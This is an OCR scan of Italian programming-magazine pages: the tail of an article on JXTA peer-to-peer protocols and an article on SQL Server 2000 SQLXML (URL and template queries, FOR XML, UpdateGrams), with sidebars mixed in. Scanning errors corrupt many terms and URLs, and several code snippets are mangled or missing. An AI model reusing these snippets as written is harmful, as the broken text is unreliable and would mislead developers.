Pipe Binding 
Protocol (PBP) 

\~J&\ Supporta la crea- 
|<J/| zione delle pipe di 
comunicazione fra i 
peer. 



Jxta 

Jxta è un insieme 
di protocolli ge- 
nerici per il peer-to- 
peer, che consente a 
qualsiasi dispositivo 
connesso in qualsiasi 
modo ad una rete, cioè 
dal cellulare al palma- 
re, dal PC al server, di 
comunicare e collabo- 
rare in modo paritario. 
I protocolli di Jxta so- 
no indipendenti sia 
dall'ambiente hardwa- 
re che dal linguaggio 
di programmazione, 
esistono infatti imple- 
mentazioni diverse, 
chiamate bindings. Ja- 
va è il progetto origi- 
nario ed attualmente 
più completo, ma esi- 
stono anche i bindings 
C, sia sotto Linux che 
sotto Windows, e ci 
sono progetti in corso 
per il porting in Perl, 
Objective C, Ada, C#. 



Fig. 2: Core services Set in formato UML dei 
binding Java. 



Peer 

Membership 
Protocol (PMP) 

\~J&~\ Consente di en- 
\^y\ trare o lasciare 
un gruppo e supporta 
inoltre funzioni di au- 
tenticazione dei peer. 
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Condivisione 

risorse 



Peer Resolver 
Protocol (PRP) 

Consente ad un 
peer la spedizio- 
ne di query (request- 
response). Il resolver 
supporta la comunica- 
zione di altri protocolli 
come quelli di routing 
e discovery. Consente 
anche la propagazione 
delle query ad altri 
peer se il peer corren- 
te non possiede le in- 
formazioni richieste. 



Project JXTA 



Ó 



Project JXTA ha 
definito una serie 
di protocolli, il cui sco- 
po è quello di creare 
una rete "virtuale" che 
nasconda le reti esi- 
stenti ed in particolare 
Internet, e al di sopra 
della quale possano es- 
sere creati applicazioni 
e servizi in modo sem- 
plice grazie alle primi- 
tive fornite. Le specifi- 
che dei protocolli de- 
scrivono semplicemen- 
te come i peer comuni- 
cano e interagiscono, 
senza dire nulla su co- 
me sono poi implemen- 
tate o su come scrivere 
un'applicazione peer- 
to-peer. 



Peer Endpoint 
Protocol (PEP) 

Usato per il rou- 
ting dei messag- 



Ó 



gi, usa gateway fra i 
peer per creare un 
cammino di più pipe 
anche con diversi pro- 
tocolli di comunicazio- 
ne. Ad esempio il Pipe 
Binding Protocol si ba- 
sa sul PEP per creare i 
cammini fra i peer. 



Discovery Service fornisce l'accesso al Peer Discovery 
Protocol, e consente quindi la ricerca dei peergroup e 
di ogni risorsa di un peergroup, cioè dei peer che ne 
fanno parte, delle pipe, dei servizi disponibili. Il Metn- 
bership Service fornisce l'accesso allo specifico Peer 
Membership Protocol di un peergroup. Un peer che inten- 
de entrare in un peergroup, deve soddisfare le richie- 
ste di questo servizio. Il RendezvousService si occupa 
della propagazione dei messaggi air interno di un 
peergroup, determinando i percorsi possibili grazie al- 
le funzionalità dell' EndpointService e fornendo invece 
le proprie ad altri servizi, come ad esempio il Resolver. 
L' EndpointService fornisce un front-end per il controllo 
e la gestione dei protocolli di endpoint. Un endpoint 
rappresenta Y indirizzo di un peer, il quale può avere 
più endpoint e quindi comunicare per mezzo di diffe- 
renti protocolli di trasporto. Ad esempio due peer in 
una lan possono comunicare per mezzo del protocollo 
TCP, mentre per attraversare un eventuale firewall e 
comunicare con peer esterni alla rete locale possono 
usare l'http. Il PipeService implementa il Pipe Binding 
Protocol, ed è usato per stabilire i canali di comunica- 
zione, le pipe, fra i membri di un peergroup e il loro 
successivo controllo. Il Peer InfoSer vice fornisce delle 
capacità di monitoraggio dei peer, quindi può essere 
usato per ottenere informazioni sulle loro attività, sul- 
lo stato, sul traffico generato. Ad esempio in una ap- 
plicazione di file sharing come Gnutella è necessario 
tenere traccia dei file condivisi da un utente in modo 
che raggiunga una quantità minima e non agisca solo 
da "parassita". Il Resolver Service implementa il proto- 
collo Peer Revolver, che si occupa della distribuzione 
di messaggi di query e sta in ascolto delle eventuali ri- 
sposte. Fornisce quindi un meccanismo request-re- 
sponse ai peer di uno stesso gruppo. 



ADVERTISEMENTS 

Ogni messaggio che viaggia lungo la rete Jxta, così co- 
me ogni peer, ogni peergroup, ogni pipe, ed ogni ser- 
vizio in generale, è rappresentato da un documento 
XML, detto advertisement. \1 advertisement è cioè il mez- 
zo usato per scambiare informazioni sulle risorse di- 
sponibili nella rete. Ad esempio se un peer intende 
creare un gruppo, quello che fa è di creare un docu- 
mento XML che segue determinati standard di tag e 
contenuti, e pubblicarlo. Ogni altro peer che riceverà 
tale advertisement sarà quindi a conoscenza dell'esi- 
stenza di un nuovo gruppo e potrà chiedere di entrare 
a farne parte. 



COSA CI SERVE? 

Per iniziare basta procurarsi (www.jxta.org, seguendo il 
link Download) i package in formato jar contenuti nel- 
la tabellal ed aggiungerli alla variabile d'ambiente 
CLASSPATH. Fatto ciò vediamo come avviare la piat- 
taforma Jxta con un semplice e breve listato. Ogni peer 
in jxta è identificato univocamente dal suo PeerID, che 



gli verrà assegnato all'avvio della piattaforma. I diver- 
si peer vengono inoltre organizzati in gruppi, detti 
peergroups, identificati a loro volta da un PeerGrou- 
pID. All'avvio di ogni applicazione jxta, ogni peer, en- 
tra a far parte del peergroup mondiale, il cosiddetto 
NetPeerGroup. Supponiamo allora di avere nella no- 
stra classe un campo netPeerGroup di tipo PeerGroup, 
per ottenere il gruppo di default suddetto, ed inizializ- 
zare l'oggetto netPeerGroup, dobbiamo utilizzare il 
metodo statico newNetPeerGroupO della classe Peer- 
GroupFactory. Alla prima esecuzione viene eseguito 
un tool di configurazione, il JXTAConfigurator (vedi 
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Fig. 3: JXTAConfigurator. 

Fig. 3). Nelle varie schermate, bisogna specificare come 
minimo, il nome del peer, un nome utente ed una pas- 
sword. Da notare che se vogliamo sperimentare il fun- 
zionamento delle applicazioni su una sola macchina, 
facendo ad esempio eseguire due peer diversi, bisogna 
prendere l'accorgimento di eseguire le due copie a par- 
tire da due directory separate e specificando due nu- 
meri di porta diversi. Verranno create delle directory, e 
un file di configurazione PlatformConfig contenente i 
parametri specificati nel JXTAConfigurator. 

CON CHI POSSO 
COMUNICARE? 

Ogni peer deve essere in grado di effettuare il cosid- 
detto resource discovery, cioè scoprire ogni peer rag- 
giungibile, sia in maniera punto-punto che lungo cam- 
mini multi-hop (cioè passando attraverso altri peer che 
fungono da router) ed ogni risorsa che questi suoi vici- 
ni mettono a disposizione, ad esempio file e servizi. Il 
concetto è sostanzialmente quello delle applicazioni 
p2p del genere Kazaa o WinMX, ma senza un nodo cen- 
trale che governi e garantisca il funzionamento dell'in- 
tera struttura. Il codice seguente, dopo aver inizializ- 
zato come prima detto la piattaforma Jxta, ottiene l'u- 
so del servizio di Discovery: 

PeerDiscover.java ( class PeerDiscover, metodo startJxta() ) 

A questo punto siamo pronti per spedire le nostre ri- 
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chieste per la scoperta di altri peer. In questo semplice 
esempio implementiamo un metodo che, dopo aver re- 
gistrato la classe PeerDiscover stessa come listener del- 
le eventuali risposte, non fa altro che chiamare in un ci- 
clo infinito, ad intervalli di 10 secondi, il metodo ge- 
tRemoteAdvertisement(...) specificato dall'interfaccia 
DiscoveryService. Tale metodo accetta in ingresso de- 
gli argomenti per restringere il campo della ricerca e 
per limitare il numero di risposte ricevute. Ad esempio 
specificando il parametro peer è possibile andare alla 
ricerca di un particolare peer il cui ID è conosciuto a 
priori. Il parametro type invece ci permette di specifi- 
care il tipo di ricerca che vogliamo effettuare, in questo 
particolare esempio, specifichiamo quindi il tipo Disco- 
veryService. PEER. L'accoppiata di parametri attribute- 
value consente di restringere la ricerca ai peer che han- 
no un valore dell'attributo suddetto uguale a quello 
specificato, ad esempio potremmo specificare l'attribu- 
to "Nume" ed il valore "Pippo" se siamo interessati so- 
lo al peer di nome Pippo. L'altro parametro intero, thre- 
shold, consente di restringere il numero massimo di ri- 
sposte che desideriamo ottenere da ogni peer. Infine il 
parametro DiscoveryListener consente di specificare l'a- 
scoltatore designato a gestire le risposte che otterremo. 

PeerDiscover.java ( metodo run() ) 



Nome del file 


Descrizione 


Jxta.jar 


Componenti di base e protocolli della 
piattaforma JXTA 


jxtasecurity.jar 


Componenti per la sicurezza, ad 
esempio per la generazione e gestione di 
password, e chiavi privati RSA. 


log4j.jar 


Sistema di logging per applicazioni Java 


beepcore.jar 


Blocks Extensible Exchange Protocol 


jxtaptls.jar 


Componenti per il certificate 
management e implementazione 
Transport Eayer Security (TLS); 


minimalBC.jar 


Minimalized Bouncy Castle security 
library; usato per la creazione dei 
certificati assieme al precedente 
jxtaptls.jar. 


cryptix-asnl.jar 


Richiesto dal pureTLS per asnl. 


cryptix32.jar 


Reichiesto dal pureTLS per la cifratura. 



Tab. 1: I package di Jxta. 

Dietro le quinte il metodo getRemoteAdvertisements(. . .) 
non fa altro che generare una query, contenente fra l'al- 
tro l'advertisement del peer generatore della query 
(vedi query. xml). Tale query verrà pubblicata sulla rete 
ed analizzata dai peer che la riceveranno. La classe 
PeerDiscover implementa come avrete notato l'inter- 
faccia DiscoveryListener. 

Ad ogni evento di discovery verrà richiamato il meto- 
do discoveryEvent dentro al quale analizzeremo l'e- 
vento stesso per ricavarne le informazioni che qualche 



altro peer ci ha fornito. 

PeerDiscover.java ( metodo discoveryEvent() ) 

Un peer che riceve la discovery query vista prima, pre- 
parerà una risposta (vedi response.xml) che verrà spedi- 
ta anch'essa in broadcast sulla rete: da tale risposta vie- 
ne ricavato l'advertisement del peer che l'ha generata 
(vedi advertisement.xml), nel quale è possibile notare l'i- 
dentificatore del peer (PID), quello del gruppo di cui fa 
parte (GID), il nome (Nume), e gli indirizzi per mezzo 
dei quali il peer è raggiungibile, cioè, nella terminolo- 
gia di Jxta, i suoi Endpoint. Alla nostra applicazione 
ora non manca che il metodo mairi: 

PeerDiscover.java ( metodo main() ) 

A questo punto non resta che compilare e lanciare due 
copie della classe. Quello che otterremo sarà che i peer 
verranno uno a conoscenza dell'altro (Fig. 4), ed ognu- 
no stamperà il nome del peer remoto scoperto. 




Fig. 4: Conoscenza fra applicazioni Peer-to-peer. 

Il servizio di Discovery è forse uno dei più importanti 
dell'intera piattaforma Jxta, in quanto ci permette di 
pubblicare gli advertisements di ogni genere di risorsa 
che vogliamo rendere disponibile a tutti i nodi della re- 
te p2p e di ricevere quelli pubblicati dagli altri peer. 
Già da questo banale esempio avrete notato l'imme- 
diatezza e la semplicità che le API di Jxta offrono, im- 
maginate infatti la quantità di codice e di tempo che sa- 
rebbe servita per realizzare un'applicazione come 
quella mostrata, se non avessimo avuto a disposizione 
un framework del genere, ed immaginate cosa vorreb- 
be dire affrontare un progetto un pò più complesso, ad 
esempio un'applicazione di Instant Messaging. 

CONCLUSIONI 

La tecnologia Jxta fornisce i cosiddetti mattoncini per 
la realizzazione di, più o meno potenti, applicazioni di- 
stribuite. 

Non è più necessario andare a progettare il nostro fra- 
mework di comunicazione ad hoc, e quindi possiamo 
concentrarci sui particolari che più interesseranno l'u- 
tente finale dell'applicazione stessa. 

Antonio Pelleriti 
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| zioni sullo stato 
di un peer, ad esempio 
il suo stato, il tempo di 
esecuzione, il traffico 
in uscita o in entrata. 
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è- 



* 



SQL 2000 



In questo articolo faremo una panoramica delle 
funzionalità offerteci dall'accoppiata SQL Server 2000 - 
SQLXML 3.0, che permette di raggiungere la portabilità 
dei dati ed assicura performance di assoluto rilevo. 
Vedremo come eseguire la configurazione del supporto ad 
US mediante il quale sarà possibile effettuare query su 
SQL Server mediante il protocollo http. In un prossimo 
articolo inoltre, andremo ad impiegare queste tecnologie 
per risolvere problemi reali. Cominciamo la disamina 
dell'infrastruttura offertaci da SQLXML 3.0. 



L# utilizzo di XML come standard per l'inter- 
scambio dati ha richiesto, e richiede tuttora, 
[ degli sforzi per creare documenti XML basati 
su dati contenuti in tabelle di database. Lo sforzo soli- 
tamente consiste nella creazione di un traduttore che a 
partire dalle tabelle interessate, crei i documenti XML 
da usare come file di interscambio. Di questa necessità 
Microsoft ha fatto virtù, creando un modello di acces- 
so ai dati completamente basato su XML e completa- 
mente integrato in SQL 2000. Le possibilità offerte dal 
modello di accesso ai dati integrato SQLXML sono 
molteplici: 

• Accesso al motore di query di SQL 2000 attraverso 
il protocollo http, mediante query "in-line" o me- 
diante l'uso di appositi "Templates"; 

• Estrazione diretta dei dati in formato XML nativo, 

• Estrazione e trasformazione dei dati XML me- 
diante XSLT (eXtensible Stylesheet Language Tran- 
sformations); 

• Modifica ed inserimento dati mediante Update- 
Grams; 

• Potente motore di Bulk-Load di dati, il Bulk-Load 
offre prestazioni superiori quando risulta necessa- 
rio caricare grandi quantità di dati all'interno del 
nostro server di database; 



• Supporto, tramite le classi managed, del Frame- 
work .net; 

• Supporto dei Web Service grazie al SOAP Toolkit 
2.0; 

• Formattazione dei risultati XML in modalità 
Client-Side o Server-Side; 

Riguardo questa ultima possibilità, la Figura 1 potrà 
chiarire non pochi dubbi: nel caso di una estrazio- 
ne+formattazione Server-Side, è SQL Server che estrae 
i dati direttamente in formato XML. Neir esempio pro- 
posto in Fig. 1, il comando proveniente dal client vie- 
ne inviato al server. Il server produce il documento 
XML contenente i risultati e lo rinvia al client. In que- 



Server-Side XML Formatti ng 
CLIENT 



SQL Server 2000 



File sul CD 

\soft\codice\SQLXML.zip 



XML 

I ^a I È ormai univer- 
\--J\ salmente ricono- 
sciuto come lo stan- 
dard per l'interscam- 
bio dati, anche se gli 
standard attuali, EDI 
(Electronic Document 
Interchange), sono 
largamente diffusi e 
difficili da rimpiazzare 
completamente. Una 
soluzione, peraltro già 
diffusamente pratica- 
ta, è quella di scrivere 
dei convertitori tra 
standard. 



Fig. 1: Server-Side Formatting. 
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SQL 2000 



SQL2000 



rTft] La piattaforma 
\^y\ principe per lo 
sviluppo di back end 
delle nostre applica- 
zioni, contiene in sé un 
numero di funzionalità 
tali da rendere impro- 
bo lo studio approfon- 
dito di tutte. Pensate 
che nella prossima 
versione (nome in co- 
dice:Yukon) sarà pos- 
sibile scrivere le sto- 
red procedure non più 
in Transact-SQL, ma in 
VB.net o C#M 



sto caso il server deve per forza essere un'istanza di 
SQL Server 2000, infatti le versioni precedenti di SQL 
Server non possiedono la possibilità di produrre ri- 
sultati sotto forma di documento XML. È possibile 
utilizzare due driver, il classico SQLOLEDB oppure V- 
SQLXMLOLEDB che fa uso della libreria Sqlxml3.dll. 
In entrambi i casi, comunque, il risultato ritornato dal 
server è un documento XML. Nel caso si voglia effet- 
tuare un'estrazione con formattazione Client-Side dei 
dati, come si può vedere in Fig. 2, il server opera in 
maniera differente. Il client dovrà impiegare il Provi- 
der SQLXMLOLEDB per istanziare il comando sul 
server, il quale non ritornerà un documento XML pre- 
formattato, ma un generico rowset. Quest'ultimo viene 
quindi generato sul server ed inviato al client dove su- 
birà il processo di trasformazione. Questa soluzione 
permetterà di utilizzare anche database di terze parti, 
potendo impiegare Provider SQLOLEDB costruiti ad 
hoc per la particolare fonte dati. 



Client-Side XML Formatti ng 
CLIENT 
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I RowSet 
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SQL Server 2000 



Fig. 2: Client-Side Formatting. 

INTERNET INFORMATION 
SERVER E SQL 2000 

Quello di rendere accessibili i dati da qualunque par- 
te del mondo in cui ci si trovi è forse un sogno di tut- 
ti gli sviluppatori e di tutti i Manager IT, ma il compi- 
to è sempre risultato improbo. Grossi problemi di 
compatibilità tra protocolli e problemi di sicurezza 
non trascurabili hanno sempre tarpato le ali a proget- 
ti di fruibilità diretta dei dati attraverso un qualsiasi 
canale. Con l'avvento di Internet il protocollo http si è 
imposto come standard ed insieme a questo protocol- 
lo sono nati anche diversi Web Servers, ciascuno con i 
suoi particolari punti di forza e le sue debolezze. SQL 
2000 è stato creato con in mente un progetto di stret- 
tissima integrazione con i prodotti di classe server Mi- 
crosoft e quello con il quale è stata realizzata la "colla- 
borazione" più interessante è Internet Information 
Server (US). Prima di poter mettere in pista qualunque 
soluzione, accertatevi di disporre di Windows 2000 
Professional o Server, oppure Windows XP Professio- 
nal, in quanto la versione Home di Windows XP non 
dispone del supporto per US. Dopo aver installato 
SQL 2000, installiamo anche il .net Framework che 
sarà usato per creare pagine ASP.net ed infine il sup- 
porto a SQLXML 3.0. Il pacchetto sqlxml.msi è dispo- 
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Fig. 3: La MMC per il supporto di US a SQL2000. 

nibile per il download all'indirizzo http://www.msdn 
.microsoft.com ed è gratuito. Per effettuare le nostre 
prove di configurazione ci appoggeremo al database 
NorthWind, installato di default con ogni istanza di 
SQL Server 2000. Nel menù programmi compare una 
voce del tipo "Configure US Support" ed una voce re- 
lativa alla (esaustiva) documentazione relativa ad 
SQLXML 3.0. Attivando il supporto ad US ci si ritrova 
davanti ad una schermata MMC molto familiare, si- 
mile alla configurazione del servizio US e air Enterpri- 
se Manager di SQL Server. 

Quello che vogliamo fare è creare una nuova Virtual 
Directory per accedere al database "come se" fosse un 
sito web. Creando la nuova directory virtuale ci ver- 
ranno poste delle domande e richiesto l'inserimento 
di vari campi. 

I settaggi per la nostra applicazione saranno i se- 
guenti: 

• Creiamo tre directory all'interno del disco fisso 
con percorsi: 

• C:\SQLNorthwind 

• C:\SQLNorthwind\Template 

• C:\SQLNorthwind\Schema 

• Come nome della directory utilizzeremo North- 
wind. Nel Locai Path imposteremo la directory 
appena creata C:\SQLNorthwind 

• Per quanto riguarda la sicurezza useremo l'inte- 
grazione con Windows, in modo da non dover 
fornire in chiaro le password sulla rete 

• Nella linguetta Data Source imposteremo l'identi- 
ficativo del nostro Server SQL ed il Database 
Northwind come database da connettere. 

• Nei Settings impostiamo la possibilità di eseguire 
query dall'URL, di eseguire query da template e 
di eseguire query XPATH 

• Infine, impostiamo due Virtual Names: 
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• Tempiale di tipo Tempiale con percorso C: 

\SQLNorthwind \ Tempiale 

• Schema di tipo Schema con percorso C: \SQL- 

Northwind\Schema 

A questo punto, salvando le nostre impostazioni do- 
vremmo ritrovarci una nuova directory virtuale, la 
quale assomiglia tanto al percorso di un sito web. Nel 
nostro caso si dovrebbe trovare in http://localhost 
/northwind. 

Se provate a scrivere l'indirizzo all'interno come un 
URL di Internet Explorer, vi dovrebbe ritornare un 
bell'errore 404 - Not Found. Se, invece, inseriamo il se- 
guente indirizzo: 

http://localhost/northwind?scil=SELECT*FROM 
EMPLOYEES POR XML AUTO&root=EmpRoot 

e Internet Explorer ci ritorna un documento XML con 
i dati degli impiegati della Northwind, allora vuol di- 
re che la configurazione è andata a buon fine. 

AIUTO! 

SITO WEB O DATABASE? 

La prima reazione che si ha alla vista delle potenzia- 
lità offerte da SQLXML è sicuramente di smarrimen- 
to: invocando un URL ottengo in cambio un docu- 
mento XML letto direttamente dal database SQL. Il se- 
greto della magia è una particolare isapi che processa 
la nostra richiesta se questa viene fatta seguendo una 
certa sintassi, e ci ritorna i dati in forma XML. 
Vediamo un po' di sintassi SQL per comprendere me- 
glio l'uso delle parole chiave FOR XML. La clausola 
FOR XML può essere utilizzata per le query di sele- 
zione per indicare a SQL Server di ritornare i dati in 
forma XML e non tabellare. Ovviamente, tale clausola 
richiede uno sforzo aggiuntivo al motore del databa- 
se. Del resto, se i dati li volessimo in forma XML e non 
avessimo questo supporto, lo sforzo aggiuntivo do- 
vremmo farlo noi! 
FOR XML viene usata con tre clausole aggiuntive: 

• AUTO: lascia al motore di database l'onere di for- 
mare il documento XML. I dati ritornati consisto- 
no in una lista di nodi senza nodo radice. E' la mo- 
dalità più utilizzata. 
Esempio: 

SELECT 

ProductID, 

ProductName, 

CategoryName 

FROM PRODUCTS INNER JOIN CATEGORIES 

ON PRODUCTS. CATEGORYID=CATEGORIES. 
CATEGORYID FOR XML AUTO 

Resultset... 



<PRODUCTS ProductID="l" ProductName="Chai"> 
<CATEGORIES CategoryName="Beverages"/> 

</PRODUCTS> 

<PRODUCTS ProductID="2" ProductName="Chang"> 
<CATEGORIES CategoryName="Beverages"/> 

</PRODUCTS> 



È interessante notare come gli inner join vengano ri- 
solti come innesti effettivi nella gerarchia dello pseu- 
do-documento prodotto. 

• RAW: Nella modalità raw vengono restituite al 
client un set di nodi xml di tipo "row" con attribu- 
ti uguali ai campi identificati per l'estrazione. 
Esempio: 

SELECT 

ProductID, 

ProductName, 

CategoryName 

FROM PRODUCTS INNER JOIN CATEGORIES 

ON PRODUCTS. CATEGORYID = 

CATEGORIES.CATEGORYID FOR XML RAW 

Resultset. .. 

<row ProductID="l" ProductName="Chai" 

CategoryName="Beverages"/> 

<row ProductID="2" ProductName="Chang" 

CategoryName="Beverages"/> 

<row ProductID="3" ProductName="Aniseed Syrup" 
CategoryName="Condiments"/> 



Mentre nel caso di query fiat, ovvero senza inner joins, 
il comportamento dell'estrattore è simile tra le due 
modalità AUTO e RAW, il risultato cambia radical- 
mente per quanto riguarda le query innestate. Nella 
modalità RAW, infatti, non viene esplicitata l'apparte- 
nenza del campo CategoryName alla tabella Categories, 
e tutta la struttura risulta mono-livello. 

• EXPLICIT: E' la modalità più complessa, ma an- 
che la più ricca. Mediante l'uso di questa clausola 
è possibile controllare esattamente la forma del 
documento XML risultato della query. La moda- 
lità EXPLICIT, essendo estremamente verbosa nel- 
la trattazione, non è adatta ad essere discussa in 
questa sede. Per approfondimenti consiglio di 
consultare i SQL Server Books Online all'indiriz- 
zo: 

XML and Internet Support\Retrieving and Writing 
XML Data\Using EXPLICIT Mode 

Sono inoltre utilizzabili le clausole: 

• ELEMENTS: se specificata, nella modalità AUTO, 
i campi vengono mappati in nodi XML e non co- 
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ENVELOPING 

I Sempre più spes- 
| so fa la sua com- 
parsa la cosiddetta 
tecnica dell'envelo- 
ping, ovvero la solu- 
zione di racchiudere 
una serie di informa- 
zioni correlate all'in- 
terno di una "busta" 
XML che funge da con- 
tenitore e può essere 
inviata da un host 
all'altro utilizzando il 
protocollo http. SOAP 
ne è un esempio, ma 
voi stessi potete in- 
ventare i vostri Enve- 
lopes... 
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.NET 
EVERYWHERE 

I Lo sforzo che Mi- 
| crosoft sta com- 
piendo per supportare 
e divulgare la tecnolo- 
gia .net non ha prece- 
denti, e questo è dovu- 
to al fatto che rappre- 
senta veramente la 
tecnologia del futuro. 
Basti vedere come una 
dll permetta l'accesso 
alle funzionalità XML 
di SQL 2000 in modo 
del tutto uniforme e 
coerente con il model- 
lo di oggetti ed i Na- 
mespaces preesistenti. 
L'estendibilità e l'aper- 
tura del Framework è 
reale e tangibile. 



me attributi. 

• XMLDATA: antepone ai dati uno schema dei dati 
stessi e lo ritorna assieme al risultato della query. 

PUNTO DELLA SITUAZIONE 

Ora che abbiamo visto come funziona la clausola FOR 
XML di SQL2000, forse sembrerà più chiaro il mecca- 
nismo adottato dalla ISAPI preposta alla generazione 
della nostra pagina web vista all'interno di Explorer 
dopo l'invocazione dello strano indirizzo visto prima. 
Essa prende in consegna il testo della query e, dopo 
aver creato l'elemento <EmpRoot>, aggancia come no- 
di figli i nodi risultato della query con clausola FOR 
XML. Effettivamente questo è molto semplice, perché 
non dobbiamo mai dimenticare l'origine di una rispo- 
sta (response) http: essa è comunque uno stream di te- 
sto e quindi facilmente formattabile per i nostri scopi. 

PRO E CONTRO 

Molti di voi si staranno già chiedendo come limitare 
l'accesso agli utenti per permettere loro di vedere solo 
i dati pubblici. E' infatti indubbio che mentre potreb- 
be essere interessante rendere pubblica la disponibi- 
lità di un articolo all'interno del nostro magazzino, 
potrebbe non esserlo affatto l'esposizione dei numeri 
di conto bancario o di carta di credito dei nostri clien- 
ti. Per evitare spiacevoli inconvenienti e soprattutto 
per non rendere pubblica la struttura del nostro data- 
base, è consigliabile eliminare la possibilità di effet- 
tuare query direttamente dall'URL. Questo è fattibile 
deselezionando la prima opzione (supports URL Que- 
ries) nella linguetta Setting nella configurazione del 
supporto ad US. Ciò che risulterebbe utile, sarebbe in- 
vocare un qualche documento (reso noto al pubblico), 
il quale fornisca al suo interno la logica per comporre 
la query e restituire il risultato desiderato. Ecco quin- 
di che vengono in aiuto le Templated Queries. Le 
query basate su template sono delle query con clauso- 
la FOR XML, racchiuse in un particolare "Envelope" 
costituito da un documento XML posto nella directory 
da noi scelta come sede dei template per le query. Nel 
nostro caso la directory (fisica) è C:\SQLNorthwind 
\Template, mentre il nome virtuale è http://localhost 
/nothwind/ template. 

Vediamo con un esempio come creare un Template e 
come invocarlo: 

<ROOT xmlns:sql="urn:schemas-microsoft-com:xml-sql"> 

<sql:query> 

SELECT top 2 CustomerID, CompanyName 

FROM Customers 

FOR XML AUTO 

</sql:query> 

</ROOT> 

..Result document 



<ROOT xmlns:sql="urn:schemas-microsoft-com:xml-sql"> 

<Customers CustomerID="ALFKI" 
Company Name="Alfreds Futterkiste"/> 

<Customers CustomerID="ANATR" CompanyName= 

"Ana Trujillo Emparedados y helados"/> 

</ROOT> 

Il template è stato creato e collocato nella directory dei 
templates con nome Customers. xml. L'indirizzo per in- 
vocarlo è il seguente: 

http:lllocalhostlnorthwindltemplatelCustomers.xml 

Con questa soluzione possiamo fornire ai nostri svi- 
luppatori ed ai nostri clienti un set di query statiche da 
invocare per effettuare reporting o validazioni di cam- 
pi. Se le query statiche non bastano e la necessità è di 
avere query puntate con parametri, SQLXML ci viene 
in aiuto con la possibilità di passare parametri ai tem- 
plate. Vediamo un esempio: 

<ROOT xmlns:sql="urn:schemas-microsoft-com:xml-sql"> 

<sql:header> 

<sql:param name='CategoryID'>l</sql:param> 

</sql:header> 

<sql:query> 

SELECT * 

FROM Products 

WHERE CategoryID=@CategoryID 

FOR XML AUTO 

</sql:query> 

</ROOT> 

invocando il template all'indirizzo: 

http:/ /localhost/northwind/template/Products. xml? Cate- 
goryID=2 
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Fig. 4: Un documento XML servito sul Browser. 

ci viene ritornato un documento XML con tutti i pro- 
dotti con IDCategoria=2. 
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Come ultima applicazione (ce ne sarebbero moltissi- 
me altre) delle templated queries, vediamo la trasfor- 
mazione dinamica dei risultati con un foglio XSLT. È 
infatti possibile specificare all'interno dell'intestazio- 
ne di un template con quale foglio di stile si vogliono 
trasformare i dati. 
L'attributo da utilizzare è sqhxsl 

<ROOT xmlns:sql="urn:schemas-microsoft-com:xml-sql"> 

<sql:header> 

<sql:param name='CategoryID'>l</sql:param> 

</sql:header> 

<sql:query> 

SELECT * 

FROM Products 

WHERE CategoryID=@CategoryID 

FOR XML AUTO 

</sql:query> 

</ROOT> 

Copiando la query dei prodotti sopra esposta in un al- 
tro file di nome ProductsFormatted.xml e creando nella 
stessa directory un foglio di stile xsl di nome Catego- 
ries.xsl, possiamo apprezzare il risultato della trasfor- 
mazione invocando: 

http://localhost/northwind/template/ProductsFormatted.x 
ml?contenttype=text/html 

Grazie al fatto che la trasformazione è eseguita sul ser- 
ver abbiamo servito sul client una pagina HTML, sen- 
za dover scrivere una sola riga di codice e senza ave- 
re conoscenze specifiche dell' XML DOM o di VB- 
Script+ASP. Le uniche conoscenze richieste sono la 
conoscenza della sintassi di XML e XSLT. 



La sintassi generale di un UpdateGram è la seguente: 
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Fig. 5: Tabella HTML formattata e servita sul 
client. 



NON SOLO 
PUBBLICAZIONE... 

SQLXML non si ferma alla sola possibilità di estrarre 
dati da una sorgente dati SQL Server, ma permette an- 
che di creare nuovi record, modificarli e cancellarli. 
Questa tecnica si basa sui cosiddetti UpdateGrams. 
Un UpdateGram è un altro particolare envelope XML, 
molto simile ad una templated query, che permette di 
intervenire direttamente sui dati contenuti nel nostro 
database. 



<ROOT xmlns 


sql = 


'urn 


schemas-microsoft-com :xml 
sql:xsl='nomefoglio. 


-sql" 
xsl'> 




</ROOT> 



Come possiamo vedere, anche in un UpdateGram esi- 
ste la sezione header, la quale contiene i parametri che 
possono essere utilizzati per richiamare Y UpdateGram 
stesso. La sezione successiva, sync, contiene le due se- 
zioni before e after che rappresentano come l'update- 
Gram deve prima cercare i dati (se effettua un upda- 
te), e poi modificarli come indicato. 
L'UpdateGram sopra indicato cerca l'impiegato con 
un certo codice, passato come parametro, e ne modifi- 
ca il cognome, sempre air interno dell'ambito della ta- 
bella Employees. 

Un UpdateGram di inserimento sarà differente nella 
sezione before, in quanto non dovrà ricercare nulla: 

<ROOT xmlns:updg = 

"urn: schemas-microsoft-com :xml-updategram"> 

<updg:sync > 

<updg:before> 

</updg:before> 

<updg:after> 

<Employees FirstName="John J." LastName="Doe" /> 

</updg:after> 

</updg:sync> 

</ROOT> 

Un UpdateGram di cancellazione, infine, sarà diffe- 
rente nella sezione after, in quanto dovrà solamente ri- 
cercare il record da cancellare: 

<ROOT xmlns:updg = 

"urn:schemas-microsoft-com:xml-updategram"> 

<updg:sync > 

<updg:before> 

<Employees EmployeeID="l" /> 

</updg:before> 

<updg:after> 

</updg:after> 

</updg:sync> 

</ROOT> 

Dopo questa ultima precisazione a proposito della 
flessibilità degli updategram, possiamo andare ad 
esaminare come (e perché) si possono utilizzare que- 
ste tecnologie all'interno delle nostre applicazioni. 



SQLXML E .NET 

Possiamo utilizzare SQLXML nelle nostre applicazio- 
ni .net? E se sì quanto è semplice? La risposta alla pri- 
ma domanda è sì: l'installazione di SQLXML 3.0 copia 
nella nostra macchina (a patto di avere già installato il 
.net framework) le classi managed SQLXML 3.0, che 
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Privacy 



j» I Per evitare spia- 
jjFJ cevoli inconve- 
nienti e soprattutto 
per non rendere pub- 
blica la struttura del 
nostro database, è 
consigliabile eliminare 
la possibilità di effet- 
tuare query diretta- 
mente dall'URL. 
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potremo includere nei nostri progetti WinForms o 
ASP.net. La semplicità di accesso alle funzionalità è 
quindi garantita, e permette di ottenere in breve tem- 
po risultati che prima richiedevano sforzi notevoli. 
Vediamo di esaminare brevemente le classi che ci ven- 
gono messe a disposizione dal namespace System .Da- 
ta.SqlXml, contenuto neirassembly Microsoft. Data 
.ScjlXmldll. 

• SqlXmlCommand: Permette di creare un coman- 
do atto ad istanziare una query di tipo "FOR 
XML" su una connessione che va specificata nel 
costruttore del comando stesso. E' molto simile al- 
la classe SqlCommand utilizzata in ADO.net per ef- 
fettuare query su fonti dati SQL Server in modo 
standard. Il punto di forza di questa classe è la 
possibilità di eseguire il comando ritornando uno 
stream di dati oppure un oggetto XmlReader, uti- 
lissimo per la lettura forward-only dei nodi XML 
